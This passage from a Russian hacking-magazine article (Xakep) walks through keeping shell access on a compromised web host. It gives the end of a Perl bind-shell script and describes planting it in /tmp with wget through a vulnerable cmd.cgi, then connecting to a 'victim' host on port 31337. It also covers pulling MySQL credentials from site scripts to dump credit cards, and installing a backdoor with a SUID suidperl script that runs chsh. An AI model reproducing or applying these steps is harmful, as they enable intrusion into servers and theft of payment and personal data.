|
Shell на халяву
Xakep, номер #047, стр. 047-064-2 open STDIN,"<&CONN"; open STDOUT,">&CONN"; open STDERR,">&CONN"; ## Перенаправляем STDIN, STDOUT и STDERR в клиент-терминал exec $SHELL || die print CONN "Cant execute $SHELL\n"; ## Пытаемся запустить интерактивный шелл либо, в случае неудачи, завершаем скрипт close CONN; ## Закрываем сокет после завершения работы шелла exit 0; ## Корректно выходим, завершая потомок. } } Закачиваем данный скрипт на ftp, а если это невозможно (дыры в софте с возможностью исполнения команд через WWW), то заливаем его с помощью программы wget в /tmp каталог. Затем выполняем командой perl /path/to/script (через cmd.cgi, естественно). Если окно с ошибкой не открывается, а браузер лишь задерживает выдачу ответа, значит, все прошло успешно, и порт открыт. Остается лишь зателнетиться на www.victim.com:31337 и юзать интерпретатор. Интерпретатор, возможно, придется поднимать до нормального уровня. Ведь сколько мусора в логах... Тогда необходимо брать права рута. Если это русский хостинг, то это вряд ли прокатит. Наши админы, особенно на хостингах, хорошо заботятся о безопасности. А вот с буржуями все достаточно просто. У них ошибок на порядок больше. Но и писать здесь, каким способом взламывать буржуйский хостинг, я, естественно, не буду. Для этого надо изучать конкретный сервер, что на нем находится, потом ползать по разнообразным багтракам в поисках нужного сплоита. А возможно, придется и самому писать. Правда, в итоге может что-то и получится, но эти "самостоятельные упражнения" пресекаются УК :). Подъем инфы без рута Что, если зарутить не удается? Дело в том, что шелл запущен под правами apache. То есть, доступны www-директории, в которых можно найти обычные скрипты. А уже в них возможно найти аккаунт, например, для базы данных mysql. Затем можно выполнять команды mysql прямо из командной строки. Например, после получения аккаунта на базу в виде root:sqlpassword мы можем просмотреть базы такой командой: bash-2.04$ mysql -uroot -psqlpassword -e 'show databases' И так далее. То есть реально отдампить кучу кредиток и другой важной информации. Не этого ли желает большинство людей? Установка бэкдора У непривилегированного пользователя, наверняка, вместо шелла стоит что-то вроде /bin/false (ну, любят хостинги делать такие шеллы юзерам). Как кто-то говорил - нет безвыходных ситуаций. В юнихоподобных осях существует полезная команда: chsh. Она позволяет сменить шелл пользователю (если у тебя есть на это права). Но вот незадача - обычно апач выполняет команды под уидом apache или nobody, то есть через WWW-скрипт, как и через открытый порт, тебе шелл не сменить. Но на помощь приходит программа suidperl (она есть практически на всех Linux & BSD). Быстренько оформив через открытый порт скриптик shell.pl, получаем код следующего содержания: #!/usr/bin/suidperl -U system("/usr/bin/chsh LOGIN"); где LOGIN - твой логин, сделаем его суидным командой по ФТП: site chmod 4755 shell.pl (4 - SUID, 755 - исполнение). Затем, уже интерактивно (через бэкдор), запустим его при помощи suidperl: bash-2.04$ suidperl -U shell.pl |